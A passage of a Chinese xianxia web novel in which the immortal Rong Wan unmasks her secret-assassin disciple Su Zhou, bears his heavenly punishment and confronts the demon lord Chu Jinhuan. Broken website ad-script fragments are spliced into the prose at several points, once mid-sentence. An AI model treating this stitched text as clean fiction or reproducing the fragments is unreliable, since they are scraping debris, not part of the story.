黑衣青年脸上却是淡淡的笑意。 “看来是大人物。”青年笑道:“不如一见?” 容晚指尖一抬,隐匿身形的阵法消散,她在如丝如缕的光影中现身。 青年的目光晃动了一刹那,低垂着眼眸出声,“果真是大人物。” “撤。”他眼眸一转,无数传送阵印就地而起。 容晚出剑拦他,青年微微一挡,灵力波动震碎六成传送印。 不出十招,容晚弃剑之瞬,翻手而出一把匕首,如闪电般横出,划破青年的脖颈。 容晚冷声道:“别动,不然杀了你。” 青年两手一张,玩笑道:“上仙,我认输。放了我的部下吧。我和你回上因界受审吧,好不好?” “不可能。”容晚道。 “这样啊。”青年抬起手,正欲动作。 锋利匕首几近划破他的喉咙,那个如冷月般的女子攥住他的灵脉,圆润的指甲如利刃般刺入他的手腕,冷声道:“别动。” “上仙要碎我灵脉吗?” 血顺着匕首的冷刃滴落,青年一笑,一挥手间,辽阔山野间便只余他们二人。 下一瞬—— 捆仙索飞出,青年被捆得结结实实。他倒也没挣脱,只是透过面具镂空的缝隙望向容晚。 她背对着他,什么也没说。 青年站得有些无聊,懒懒散散地唤了句,“上仙……” 这一声,气得容晚回身一脚,把他踹在地上。这一脚,十足十的灵力,足够他伤及肺腑。 青年拂去唇边溢出的鲜血,轻笑了声。 “还笑?”容晚抬手揪住他的衣襟,神色极冷,语调里却压抑着暴怒,“你如何敢——那可是薛沐同父同母的兄长。” 青年一怔,脸上的笑意再也挂不住。 容晚骤然松开手,他顺着力道摔在地上,眼睛里有几分茫然。 “主上?落乌界的哪一位主上?夙昼,你这十年隐匿真容,装得资质平平、毫无长进,却背着我做这样的事?我是不是该夸夸你?” 夙昼黝黑的瞳孔里能望见灰黑色的天空,他听见容晚一字一句唤他名字。 她怕是气极了。 25. 心不在剑 容晚心中百味杂陈。明明应该高兴的不是吗?夙昼一步步走向黑化的结局,她便离回家的日子更近一些。 或许她不应该阻拦夙昼。她什么也没做的情况下,夙昼黑化程度已深,若是再添几分助力,回家之时指日可待。 可死在夙昼手下的人呢?他们或许该死,或许不该死。夙昼今日杀仇敌,若是他日挥刀向无辜呢? 到那时该怎么办? “上仙……如何知道的?”夙昼的声音略有遗憾,“以我家传承所设下的屏障,上仙看不透才是。” 容晚轻叹:“是,我看不透,可前夜我同衡游,隐匿身份追捕逃犯,误入一家死斗场,我看见一个金色面具的黑衣青年,出招狠厉,招招要人性命。” 容晚俯身摘下他的面具,打量着这副陌生的眉眼,“说来好笑,他竟会我上因界的剑招,这也不足为奇,可剑招中一个变式……” 她置气般将面具砸在夙昼脸上,镂金质的面具划出几道红痕。 “那一个变式我只教过你。” “这样啊……”夙昼方才被那一脚踹坐在地,一直未动,这时候才直起身问:“上仙要如何处置我?” 双手被捆仙索缚于身后,夙昼懒得挣扎,任由捆仙索在腕间一道道勒出血痕,而神色波澜无惊。 “处置?”容晚轻笑一声,“容皓本就千方百计要杀你,如今你巴巴地送去把柄,他会手软吗?你知不知道?” 夙昼垂眸,长睫在暮光中透出细密的阴影,那双狭长的眼睛盛着墨色的瞳,他轻声说:“他杀不了我。” “是,你曾经千方百计想杀死自己而不能。你足够聪明,自然能想到容皓杀不了你。你有这样一份传承,谁能杀得了你呢?”容晚的指尖轻点在他的胸口处,一声一声,心脏跳动如擂鼓。 夙昼心跳极快,目光几乎粘在容晚身上。她胸口微微起伏着,怕是气极了才会如此。 容晚盯着这张精致而陌生的脸越看越气,一掌便拍了上去。 “上仙打我做什么?” 捆仙索绑得夙昼不舒服,他挣了挣,却缚得更紧。 “这是真容?” “算是吧。十八岁那年,突然就变了。后来,就靠那颗珠子维持原来的样貌,不然太麻烦了。” 夙昼有问必答,眸光却落在她脸颊上的细密的汗珠,一颗颗滚落,没入衣襟里。 “你们夙家的传承真是厉害,竟连我也不曾看出来。”容晚细细打量这张成熟而俊丽的脸,看得清楚后,冷声道:“变回去。” “哦。”夙昼答道,眨眼间换了容颜。 接下来,容晚没再质问,反而句句叮咛:“夙昼,入了禁狱,只说被人蛊惑,别的一律不答,懂?” 夙昼不解道:“入禁狱?” 容晚越想越气,又踹了他一脚说:“你以为自己做得很干净吗?禁狱的追捕文书早就下来了。那晚我去死斗场就是去抓你,可惜遇上褚尽欢,反倒叫你跑了。” 夙昼再没说话,他看着容晚,不知在想什么。 不过刹那,禁狱卫从天而降,自上因直落人间界,齐齐向容晚抱拳行礼:“上仙。禁狱捉拿要犯,还望您回避。” “凭你们?还不够。”容晚淡淡道:“我亲自来押,直送禁狱。” 容晚指尖一抬,夙昼规规矩矩地站在她身侧,又一抬,传送阵印拔地而起,二人一起消失在传送阵印中。 禁狱卫目瞪口呆:“上仙不会徇私吧?我们快回禀首座!” 不过瞬间,容晚携夙昼入了禁狱。夙昼悠然地走着,不时张望着禁狱诡道和其间交杂的冰道,感叹道:“上仙,我上次来,可不是走进来的。” 他语气很缓慢,似乎在说趣事一般,轻声说,“我被他们倒拖着,只能看见自己的血,和冰道口微弱的光。那时候我想……你肯定会赶来的,不过是早晚的区别。” 容晚没再说话,静静地听他说。 “后来……容皓说,我不过是一条贱狗,被你捡回来玩儿的。我没信,却有点怀疑。他一根一根刺碎我的灵脉,说什么陪上仙玩的贱狗要拔掉牙……” 容晚不自觉地攥紧指尖,掌心渗血而不自知。 夙昼语调慢而轻松,容晚却听见了夙昼这十年来午夜梦回、日日折磨他的痛楚。 禁狱冰道变幻万千,他们往囚室的路并不漫长。 直到夙昼被锁链扣住手脚,禁狱守卫同容晚道谢,夙昼再没说话。 容晚注视着他。 不谈那副真容,眼下夙昼这具身体比起从前,身形略长、样貌微变,似乎和十年前的区别仅仅是长大了。 守卫轻咳提醒道:“上仙,首座钦点要犯,您不便久留。” 容晚没再久留,只道:“记得我说过的话。” 离去禁狱后,容晚手中幻剑,提剑直冲上因宫,一路上声势浩大,惹人注目。 “上仙,无事入上因宫面见首座不可佩剑!”仙官恭恭敬敬地提点,却生怕惹了容晚不高兴。 果然,容晚一记眼神,几个仙官倏然被定住。 她一路往上,却又被人拦住。 容晚眉目不悦,抬眸只见是衡游的父亲衡廷肃,她这才稳住心神,道:“师长。” “上仙好大的火气。”衡廷肃向来待人和睦,又因容晚同衡游至交,极其呵护容晚,自然他的话容晚总会听进去几分。 衡廷肃眉眼弯弯地望向容晚,安抚道:“老朽知道,您同首座多年来有隔阂。可毕竟兄妹手足,您与首座互为至亲,有些事总要让它过去的。” “师长,我明白……但我有要事面见首座,您放心,我总不会在上因宫打架放火。” 衡廷肃一愣:“上仙……” 容晚摆摆手,道:“稍后我自会去拜会您。” 一路上,任谁看了容晚提剑直冲上因宫的模样,都能意识到:数百年来冷心冷情的第一上仙动怒了。 随着砰的一声,上因宫门大开,容晚直入,守护结界宛若无物。守卫还未阻拦,各个被定于原地,一动不动。 又是砰的一声,宫门大合。原本的结界外再起一层结界。 容晚扔掉手中那把幻化而成的不晴剑,赤手空拳走向高座的容皓。 许久未见,容皓同十年前并无变化。他依旧端坐高位,衣冠华丽,唇边带着似有似无的笑意,道:“晚晚生了好大的气。” 容晚知他脾性,冷声道:“为什么又用见不得光的手段?” 她愠怒地又喊了一声,“为什么!” 容皓双眸含着些许情意,倏然冷下来,道:“什么贱东西,也值得你不顾声名,提剑直入上因宫?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 容晚不满他的称呼,强调说:“他不是。” “呵……”容皓轻笑了一声,声音忽然冷下来,“那我是什么贱东西,你有求便来,无用弃之?” 他起身朝容晚走来,长至曳地数尺的外袍有些碍事,被他随手扔在了地上。 细密的银色绣线在灯火照映下泛光,上因宫内寂静无声。 “我向来敬重哥哥。”容晚嗤笑道:“可惜哥哥,哦不,我们的首座,如今已不再值得我敬重了。” “容晚!”容皓本有耐心听她说些胡话,却是被刺得再无忍耐之意。“你明知那些禁狱逃犯不必你追捕,明知……我不过是表面罚你,居然带着那个贱东西到明氏去?连我……” 他想说,连我生辰都不曾回来,终是什么都没说。 容晚知他有气,可她更是气得不轻,看着容皓那张像冰山一样的脸,她也来气。 不知怎么想的,一掌扇了过去。 她没用灵力,也没想到这一掌居然真能落在容皓脸上,扇得他脸侧向一边。 容皓猛然抬起的手终是落下,他的视线描摹着容晚的眉眼,轻叹了口气,“晚晚长大了,连哥哥都敢打了。” 容晚有些后悔,但打都打了,转瞬间再无悔意,道:“是,我打你意在兴战事,而非和天下。仙门首座同落乌扯上关系,总归是不好看的,不是吗?” “你不懂。”容皓摸出那枚刻痕稚拙的玺印,举起来把玩着,道:“晚晚,你小时候说要送我玺印的时候,我们都说过三界归一才能天下和。可三界若要归一,必然要兴战事。” 容晚只觉不可思议,“所以……你在落乌买凶,刺杀薛氏嫡子,搅得人间界大乱,为的也是所谓天下和平?” 容皓沉默不语,但容晚知道,他就是这样想的。 容晚没再同他争执,问道:“哥哥打算怎么处置夙昼?” 这话语气放缓了,落在容皓耳中,便显得是容晚放低姿态,求他对夙昼手下留情。 自然,首座非常不高兴,冷声说:“按律处置。” “好。”容晚松了口气,又道:“我亲自行刑。” 见容皓眉目不悦,容晚只好说:“我不参与,满意吗?” 行刑定在隔日,因着定阶会将开,容晚有意让夙昼继续参加,人自然是不能打得半死不残的。 容晚担心容皓提前动用私刑,抱着剑,在牢狱里,看着夙昼挂在刑架上睡了一晚。 天光将明时,禁狱守卫来提夙昼,却不见容晚。 依律,应受天罚数十道。 大抵是夙昼刺杀人间界太子一事,同容皓有关,最终便只罚了十道,由容皓亲自行刑。 行刑前,夙昼一袭黑衣,披散着长发,跪于灵台之上。容皓冷眼注视着夙昼,抬手降下第一道天罚。 光如电闪,雷电交叠,直劈而下。 夙昼强忍着一声呻吟也不曾出口。 下一道天罚将至,容皓忽然抬手攥住那道闪电惊雷似的天罚,手心鲜血纵横。 容皓自高台而下,白衣飘然,落在夙昼身前,带血的指尖抬起夙昼的下巴。 指尖的血顺着下巴流向颈间,一滴滴砸落在地。 他审视着夙昼的眼睛,经久,唤出了一声“晚晚”。 他又问:“为什么?” 26. 心不在剑 容晚跪于灵台上,衣裳染血,天罚细碎的光丝顺着经脉一寸寸爆冲。她不曾作声,一声也不曾溢出唇齿。 “为什么?”容皓气极发笑,音调猛然提高,“容晚!” 他掐住他容晚的下巴,逼着她望向自己的眼睛。 容晚望着他的眉目,他大概在厌恶夙昼这张脸。 果不其然,容皓不去管容晚以何幻化容貌,他一抬手,容晚一身白裳,血迹消散,干干净净地跪在他身前。 容皓气极失语,却听见容晚轻声道:“哥哥,放过他吧。” “你在求我吗?”容皓怒意未散,指尖在她脸上打着圈,一下又一下,力道颇重。 “是。”容晚抬手扯住他的衣襟,似在祈求般,说:“他不能死,他必须去定阶会,然后……” 死于命运,好让我能回家。 “他?晚晚为什么对他这样好?”容皓问道:“比对衡游要好,比对哥哥要好,比对你自己还要好。” 他在嫉妒什么? 容晚不明白,她茫然地摇了摇头,“我不知道。” 我只是——想回家。 她这副虚弱的模样看得容皓来气。 天罚一道便能劈得寻常小仙不入轮回,她居然想替那个贱种受十道,若是判罚百道那便是百道吗? “晚晚。”容皓无奈道:“你向来知道如何拿捏我不是吗?” 容皓不再答话,起身欲走,却听见容晚气若游丝地追问道:“天罚未完……” “他死不了,延期月末,你满意吗?”容皓一个字一个字往外蹦,胸膛中那颗向来沉寂的心脏剧烈跳动着。 许久未见,容晚字字句句都与他无关。 真是疯了。 他真是疯了。 容皓一抬手,转瞬之间,剩余九道天罚一时落下,电光雷鸣间,昏暗无光的禁狱宛如白昼。 刺目的白光落下,迸发更耀眼的白光,直至消散,容晚眼前空无一人。 目送着容皓离去,容晚起身撤了容貌变化。她好像从来看不懂容皓在想些什么,他分明生气,所降天罚却道道避开她。 未及细想,一道传音飞来,衡游急召容晚速来人间界。 今日靖安太子遇刺,薨。帝王悲恸,一病不起,立储之事仍未定论。朝野上下两党分立,争论不休,一党拥护嫡幼子薛沐,另一则是庶长子薛铎。 然薛沐薛铎情分深重,二人互谦,亦无定论。 衡游再三催促,但容晚执意往靖安殿去,靖安太子停灵所在。 夙昼一言不发随在她身后。 这一晚,容晚扇他、踹他、揍他,因为他做错了事。 方才灵台上,容晚说她亲自行刑,拎着捆仙索抽了他一百道,抽得他浑身上下血迹斑斑,昏死过去。 再醒来,便身在人间界的一处茂林,容晚支着剑等他苏醒。弹指间,为他换了一身素色白裳。 一路上有宫人引路,靖安殿内外哭声不绝于耳。太子薨逝,满朝大臣皆于殿前守灵,再往内,夙昼望见那个熟悉的身影——薛沐。 容晚一现身,薛沐薛铎起身来迎。 薛沐委屈地唤了一声:“上仙。” 薛铎恭敬行礼,再无作声。 “节哀,”容晚颔首示意,声音轻飘飘落下来,是向身后的夙昼,道:“薛沐与你至交好友,他的兄长自然也是你的兄长,理应敬一株香。” 夙昼知道,她在提醒自己都做了什么。可是薛辞在当年夙昼一案中牵涉颇深,该杀。 唯一的歉疚,是对薛沐。 他得手的资料只写着帝幼子与太子手足情深,而薛沐薛铎自从拜入仙门,便从皇家玉牒山去除名姓。 不知又如何? 总归是应上一炷香,不祭靖安太子,唯奠我挚友的兄长。 夙昼不曾进殿,同朝臣一起于殿前纹龙金鼎中敬香。 冷风一吹,香灭一只。 电光火石间,夙昼以术法重燃,这一幕唯有容晚瞧见了,她眉目微拧,正欲说些什么,瞧见匆匆而至的衡游。 靖安殿朝臣往来如流水,太子妃携皇长孙守灵,不是说话之处。 “上仙,我和我哥还要守灵,招待不周您还要见谅。”薛沐向来是明媚洒脱的性子,经此一事,心性稳重许多。 薛铎则又是恭敬一礼,“谢师父与上仙远道而来,为我与薛沐主持家事。” 容晚未曾允诺,未曾拒绝。 偏殿之内。 容晚布下几重结界,端坐于窗前。 衡游懒散地倚在墙边,只听容晚淡淡一声“跪下。”他膝盖莫名有些发软,却想起这是他的好友容晚,而非家妻的声音。 闻言,夙昼衣袍一撩,干净利落得跪下。 衡游若有若无地点点头,恐怕这小子日后也是惧内之夫。 容晚把玩着手中茶盏,冷声问:“谁是主使?” 夙昼眼眸一沉,看了一眼衡游。 “嘿!你这小子!”衡游拍了下茶案,怒道:“吃了我多少金丹妙药,那么多次诊费都给你免了,你居然还在我这留心眼?我知道你的那些腌臜事随便一件都能让你死在禁狱灵台上!” 灵台二字,容晚夙昼俱是一怔。 “不知。”夙昼道。他在答谁人主使一事。 “付过了。”容晚道。她在强调以望春山赠予衡游,便不算未付诊费。 “你们——”衡游哭笑不得,索性坐在茶案前一张张画着符纸,他近些年在研究以符咒灵文来医疾治病。 如此便可省下一大笔药材,归根结底,是因为容晚与他四处奔走,实在是无暇寻找药材。他们虽强大,却也会受伤,千百只古魔兽围攻,他们俩挂了彩才逃出来。 虽是画符,他却耳朵直立,听容晚问话。 “不知何人主使?那你为何刺杀?”容晚不解道。 “一是当年夙州血案,二是……”夙州迟疑,索性双眼一闭,破罐子破摔般说道:“黄金灵石魔玉。” “什么?”容晚难以置信,好气又好笑,“你很缺吗?” “哈哈哈!你家上仙最不缺这些东西。”衡游扶额叹气道:“你这些年课业一般,剑术平平,结果在死斗场上赌自己赢,又去接杀人的生意,干的还不错,奇才也。” 夙昼一愣,耐心解释说:“那不是我的,我不想用上仙的私库。” 容晚问:“为什么?” “因为……”夙昼道:“我想靠自己,我不想事事依靠您,事事麻烦您。” 我想和您是平等的,为此,甚至不做您的弟子也可以。 话落,夙昼猛然一惊,他十年来的为之努力的目标,如今竟成了不做也可以?他呼吸忽然乱掉,心跳急促,死命地扣住掌心才冷静下来。 眸光却不自觉地落在倚在窗前的容晚身上。她好似从光里来,眉眼发肤泛着跳动的光影,唇间淡红触上白瓷茶盏,水光潋滟…… 究竟在看什么? 他究竟……怎么了? 夙昼垂眸,藏住所有的、那些他不懂的情绪,静静地等着容晚回话。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >容晚思索百千,轻叩着指尖说:“如果你是因为没有拜我为师,才觉得动用我的私库、动用我的黄金灵石魔玉,名不正、言不顺。那你可以放心,定阶会上,我会收你为徒。” 她复又强调道:“一定。” 夙昼一时间分不清该喜悦,还是沮丧。从前所想今日成真,可他心里似乎沮丧更多一些、遗憾要再多一些。 “开心傻了?”衡游笑道:“不谢谢你师父?” “谢……”夙昼从未觉得曾经百般梦回、夜夜唤过的这两个字如此难以启齿。 望向容晚微弯的眉眼,他说:“谢谢师父。” “虽说来日会有拜师礼,但今日还是要给你师父磕三个头啊!”衡游玩味道。他就是喜欢看夙昼难为情的样子。 “不必。”容晚没想到今日会收一个徒弟,从储物玉佩中翻出一块玉佩,扔给夙昼:“我不介意这些规矩——” 话未说完,夙昼跪在地上“砰砰砰”磕了三个响头,白皙的额头磕到微红。 做好她的徒弟,再无其他。 复仇为一,再无、其他。 容晚一愣,接着说:“这些日子,对外仍唤上仙。定阶会拜师礼后,再唤师尊。至于师父,私下可唤。” “是,师父。”夙昼答道。 “我呢?我呢?”衡游眼巴巴地问。 “拜、见、师、叔。”夙昼唤得多少有些不愿意,却还是恭恭敬敬行过礼。 抬眸只见衡游笑眯眯地递给他一副银质面具,银丝镶嵌,浑然天成。 “你师父托我为你打造一副面具,至于那副金色的不要再用。”衡游见他不接,扣在桌上,道:“材料、锻造、符文刻咒都是我亲手所作,自然也有你师父的阵印。不过……考虑到我出力比较大,便是我送的礼物。” 容晚并不反驳,只道:“夙昼,禁狱灵台上,金色面具的黑衣青年已然死了。” 忽然,一声急促尖锐的鸟鸣声传来,原是一只黑金雀撞上容晚所设的结界。 容晚眸光忽然冷下来,隔空将黑金雀攥入手中。原本她训完话,便想让夙昼起身。可这只鸟来得太是时候。 “夙昼,我再问你一遍,谁人主使?”容晚心中早知其然,却只想着让夙昼坦白。她又问:“是谁?” 夙昼警觉,容晚必定知道有人幕后主使。他答:“黑衣人,不识。” 容晚忽然又想扔东西,也许是十年间追捕禁狱逃犯,同衡游走过三界,她身上烟火气更重,不再像仙,笑怒更随本心。 是啊,这里的日子太久,久到一千五百多年,快叫她忘记了从前……从前她也是第一仙门娇纵肆意的大小姐,喜怒随心,不受拘束。 “撒谎。”容晚眸光冷下来,抓起银丝面具扔向他,却没留意手中攥着的黑金雀。 黑金雀振翅而飞,落下一只羽毛。 与此同时,容晚冷声道:“昔日我曾叫你有朝一日杀褚尽欢,却从未教过你与虎谋皮!” 夙昼一怔,他猛然抓住衣襟,自知事情败露,低声唤道:“师父,我……知分寸,布局是为杀他。” 容晚气他妄为,只道:“身在上因,却又暗地同落乌勾结,一朝败露,谁保得住你?” 她忽然想起什么似的,眸光刺向那只黑金雀的眼眸,淡淡道:“褚尽欢,再看我抠了你的眼睛。” 鸟儿振翅,霎时化作黑雾而散。 容晚忽然有些力不从心,若是三界战事兴,眼前跪在身前的夙昼要如何一步步走上高位。 他做得了三界共主吗? 27. 望山观我 靖安太子薨逝,丧仪如同天子国丧,七日而殡,七月不葬。 皇长孙即太子位,帝王病重,六殿下薛铎监国。 昨夜容晚同衡游追着一只梦兽出门,至今仍未归。 薛沐无心国事,忽然问坐在窗前弄茶的夙昼:“大少爷,你是家中独子吗?” “算是吧。” “算是?你有没有兄弟姐妹吗?” “家中有一个妹妹。” 薛沐思来想去,沉声说:“我都没见过,什么时候见见?” 夙昼轻声道:“我也没见过。她若是长大了该是什么样子,我不知道。” 薛沐:“?” 夙昼不明白为何要同薛沐说这些,也许是同病相怜,亦或是因为他杀死他的兄长,多出的那一点歉意。或许是十年光阴,薛沐愿意与他交友。 夙昼声音平静,像是在讲别人的故事,“妹妹死在十多年前的冬日大雪里,我看着她咽气的,身体一点点结冰。” 他唇边有些笑意,声音却又是极冷静的,“就在我父母亲族的尸体旁边,他们一起死在雪夜里。” 薛沐忙塞给他一堆星星果,安慰道:“既然如此,你没了妹妹,我没了哥哥。以后我们就是亲兄弟!” 夙昼指尖颤抖,不知如何回应好友的邀请,微愣一瞬,才问:“那薛铎?” 薛沐意味深长地摇头,“皇家兄弟,同父异母,他不曾真心待我。不提他!” 话未说久,薛沐便窝在软塌上睡熟。皇家丧仪,流程繁多,他几乎没有时间歇息。 夙昼不敢看他,手中的那一堆星星果忽然有些烫手,和昨日靖安太子薛辞的鲜血一般烫。 复仇是他逃不脱的宿命。当年夙州血案因他一人,祸及全州无数生灵。 他要复仇,如今杀太子薛辞,只是第一步。 若是…… 若是薛沐要取他的性命,便来取罢。 天光将歇时,容晚拎着两只梦兽归来。薛沐一见便冲上去摸这白色长毛的小动物,问道:“上仙送我呗?” “可。”容晚应道。 薛沐抱着两只梦兽,脸上终于有些笑意。 夙昼欲言又止,只是淡淡地望着那两只梦兽,便听见容晚说:“一人一只,梦兽可窥过往,不得滥用。” 夜将深时,夙昼撤去隐匿真容的术法,蹑手蹑脚地离开皇城。 一出皇城大阵,即刻绘制传送阵印。阵印将成—— 却听见一道清冷的声音落下来,“你要去见谁?” 夙昼抬眸,朱红宫墙之上有一个极小的白色身影。她的声音清晰明了,随着寒夜冷风送入他耳中。 一时间,他竟也不清楚,容晚是递了一道传音,还是直入他的识海,质问他的异动。 “师父,我……不得不去。” 自从容晚知他真容,夙昼望向她的目光,便不再稚拙与坦诚。 心中如何想,眸光便是什么样子。 容晚盯着这双陌生的眼睛,冷漠、深邃,她几乎看不透。 他身上再不见少年心性。 容晚问:“若是我拦你呢?” 夙昼不甚理解:“什么?” “我说过,金色面具的黑衣青年已然死了。”容晚抬手揭去他面上的金色面具,道:“若是我今夜拦你,日后再不许你见褚尽欢,你会如何?” 不经意间,素手指尖划过他的脸颊,夙昼一怔,指尖蜷缩起来,不自觉攥紧了拳,喉结滚动。 他稳住声音,“师父,我必须去见他,今日黑金雀落羽,他在急召。” “说了不许……”容晚摩挲着手中的金色面具,忽然道:“可。” 传送阵印明灭之间,千里可达。 夙昼望着身旁隐匿身形的容晚,才知她所说的可是这个意思:她要和他一起去。 一入落乌界,一群杀域禁卫便抱着一沓公文来迎,便见主上眉眼似笑般望着……空荡无人的大街? “主上,戮君急召。” “嗯。”夙昼接过后,抬手示意禁卫离去。 “主上不需我等陪同?往日……” 在夙昼的冷然注视下,禁卫随即消失于原地。 ‘为什么?’ 一道传音落下,夙昼轻笑道:“想和师父说话。” 那双陌生的眼睛似乎在说话,容晚避开他的目光,惊觉他哪里看得见自己。 心念一动,容晚现出身形。 夙昼看着她所幻化的容貌,同方才的禁卫一模一样,语调浅浅上扬,“就知道师父会这么做。” “慎言。” “好。”夙昼将手里的一沓公文递给她,道:“平日里都是十三拿。” 容晚欲接过,又听他说:“可今日有些不一样,也许是公文太重要,我只好自己拿。” 容晚:“……” “褚尽欢脾性不好,你确定要——让他等你?”容晚提醒道。 “当然不要。”夙昼道。 他心中有些异样,硬生生压下,带着容晚所化的“十三”一路直入落乌宫。 容晚问:“你如今是何处主上?” “杀域,一个小官职。”夙昼自嘲道:“师父,我在试探他,利用他,他何尝不是?” “是,可你赢得了他吗?” “师父觉得我会输吗?”夙昼声音没什么起伏,他轻叹一声,“师父觉得我会输,那我……一定赢不了,对不对?” 容晚知他意不在此,只道:“我叫你今夜不要来,可你还是来了。” 她审视着眼前青年这张陌生的脸,问:“你会听我的话吗?夙昼。” “我不知道。” “我不知道。” 二人异口同声。 容晚浅笑道:“你看,我哪里做得了你的主?从你十来岁提剑屠尽仇敌满门的时候,我就知道。” 从你小时候从不认输,父母亲族谁也做不了你的主时,我就知道——没有谁能约束你。 过了宫城,落乌宫前,大批乌卫守宫,而容晚自然被拦了下来。 “十三,你今日怎么不知规矩?内殿怎可入内?” 容晚一愣。 怪不得,怪不得夙昼轻而易举地同意她同行。 从前往来落乌界,她何曾被拦过。 夙昼压下唇边的笑意,拿着手中的公文便走,留下一句“十三等着”。 “是。”容晚轻声道。 可她怎会真得等着他呢? 片刻后,容晚立于藏经殿前,放出墨麒,轻轻拍了下兽头,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 告诉褚尽欢,我来了,在等他。” 墨麒有些不愿,它跟着容晚有十年未回落乌,它怕挨打。 “十颗灵鸢蛋。” 墨麒微微抬了下腿。 “一百。” 墨麒走了三步又回头。 “一千。” 墨麒还欲讨价还价,便听见容晚一句话:“你再不去,一颗也没有了。” 抬起兽头,只见容晚手中摩挲着一枚灵牒。它怎会不认识,那可是容晚与褚尽欢当年互赠的上因与落乌灵牒中的一枚。 身形极小的墨色麒麟兽,想要变换身形时,又听见容晚说:“不要被夙昼看见,叫他等着。” 它只能迈着四条小腿,钻进了各宫之间的密道。 藏经殿内,褚尽欢私阁处常年无人,她绕过守卫禁制。这里的装饰和上一次并未有不同。 窗边养着一棵草,这草极丑,难养,晒太阳也要算着时辰,一分一毫也不能多。 她伸手去摸叶片,一触碰上,便有一片轻飘飘落下来,化为灰烬。 “别碰。”褚尽欢慢悠悠地走进殿内,将那盆极丑的草揽过,语调极缓,“上仙来而不报,还在这里拔我小草。” “我不拔,怎么知道你是不是养死了,又换了一盆?”容晚见他毫无怒意,似乎已经忘记上次藏经殿的不快。 下一瞬,容晚望见他泛黑的指尖,得出一个认识:褚尽欢记仇,他没忘。 一时无语,褚尽欢打破平静,问:“找我什么事?” “我请你……”容晚开门见山道:“请你不要同上因兴战事。” “劝我?还是求我?”褚尽欢坦言道:“三界归一,不好吗?我做三界共主不好吗?” “你明明不在意这些……” “那是从前。”褚尽欢声音骤沉,他的目光如同野兽捕猎前的最后一眼。 他似乎想咬死她。 容晚避过往事不谈,只说:“如果你会死于三界争斗呢?还要争吗?” 褚尽欢偏头轻笑道:“你骗我也要找个别的理由。” 系统冰冷的警报声响起—— 【警报:系统作出第七次违规通报,剩余三次】 又违规一次,剩余三次。十次后,容晚若再次违规,系统会强制结束任务。 她会死,会再也回不去家。 落乌界的月光不似上因明亮,窗格透出的光影落在褚尽欢脸上,容晚看不清他的神情。 褚尽欢下意识地将手指抵至唇边,垂眸望着那盆极丑的草。 “容容,我本以为你是为了他来的。”褚尽欢眸中似有泪光,他道:“没想到你在担心我会死去啊。” 容晚知道,他相信了。 “容容,可是你想过没有?三界兴亡,不在我一人。”褚尽欢轻笑一声,似是在笑她异想天开。 “我若不争,便不会死吗?容皓不会杀我?你那个小徒弟不会杀我?无论谁人登顶,会留我性命吗?” 褚尽欢不想再谈,他想起多年前那一场大火。他细细回想,通天火光中,容晚眼中是有几分悲悯的。 可惜他当年只见她的背叛。 “容容,你往人间界去,望山观我罢。” 观我如何争,观我如何斗,观我如何死去。 28. 望山观我 他居然记得。 容晚没成想,当年戏言——她说她要长住人间界,再不回上因的幻梦,他居然还记得。 连她自己都要忘记了。 容晚坦诚道:“我今日来,亦为夙昼。” “果然。”褚尽欢似乎心情很好,唇角一弯,笑道:“你为他而来。” 容晚忽道:“我会助他。” “谁?”褚尽欢似有在意,反问道:“容皓?只要不是那个小徒弟……” “是他。”容晚不知为何会告诉他,她明明向来不会透露自己的筹谋。 许是顾念当年同门之谊,她在挂念同他的过往情分。 “呵!”褚尽欢忽然恼了,霎时间,化为黑雾四散。 容晚惊觉不妙,身化白光追逐而去。 落乌宫前。 等待颇久的夙昼忽然望见—— 天边一道黑雾,向他直冲而来。 夙昼抬手便挡,几招之间,他便知晓来人是褚尽欢无疑。 “戮君,属下——” 黑雾如藤缠绕他的脖颈,寸寸绞杀。 褚尽欢现出身形,五指扣住夙昼脖颈,将人提起来,目光却落在夙昼脖颈上的不晴剑痕—— “你真该死。”褚尽欢声如贵公子谈笑般,手中却寸寸加大灵力,看着夙昼一点点失去呼吸。 灿目白光自天而降,容晚抬手扣住褚尽欢的手腕,一寸灵力也不曾用。 她轻声说:“松手。” “你护他?”褚尽欢声音沾染怒意,手中力道不减。 “是。”容晚耐心不再,反手一掌拍向褚尽欢,她为激他,出招狠厉,却没下杀手。 果不其然,夙昼被褚尽欢随手一扔,径直摔出去。 褚尽欢正欲反击,只见容晚身形一散一聚,便蹲于夙昼身前,将人护在身后。 “你——我还当你……”褚尽欢再未说话,仰天而笑。笑罢,又道:“容晚,我更怕……我有朝一日死在你手里。” 容晚了解褚尽欢,他每逢气极生笑,便是认输,便是不同她计较。一如过往百年近千年间,每次见她,褚尽欢都会笑一次两次。 当年仙祖洞府那场大火中,他什么也没问,只是望着她、望着她,忽然笑了。两人出剑酣畅淋漓地打了一场,再未见面。 直至十年前,断崖之下因夙昼而再见。 “不会。”容晚承诺道:“我不会。” 冷月之下,褚尽欢同她对立,望向她身侧那个小徒弟。曾几何时,只觉得是容晚捡回来的消遣而已。 他终是输了。 经过容晚时,褚尽欢淡淡一句“你会”,似是如同天堑一般,将他们今时今日同过往割裂。 “下一次,我不会留情。” 褚尽欢离去不久,墨麒不知从哪里被丢了出来,见了容晚便往她怀里钻。 离了落乌界,墨麒才小心翼翼地叼着容晚的手指,让她去碰自己胸口所挂的镂金灵牒。 一触及灵牒,容晚险些从云端落下。 那是生辰礼,数百年的生辰礼,每一份上贴一模一样的贺签,字迹狂放洒脱如龙: “贺容晚生辰康乐。” - 容晚和夙昼未曾直返人间界,转道去了三界中最大的死斗场,其间人、妖、仙、魔皆有之,若上斗台,至死方休。 夙昼不知容晚意在为何,问:“师父带我来这里做什么?” “你不是喜欢来这里吗?”容晚将那张金色面具扣在他脸上,望向他如同墨玉般的眼睛,道:“今天是最后一次,往后你有更重要的事做。不能来此,也再无时间来此。” “好,听师父的。”夙昼扶了下脸上的面具,允诺道:“最后一次。” “面具,银色的。”容晚向夙昼伸手,要他那一面银质面具。 夙昼依言给出,只见容晚将面具扣在自己的脸上,转身直入死斗场。她向来穿素色衣裳,乌发雪肤,更甚三分白。 透过银质面具,能望见她那双媚眼中的冷意。 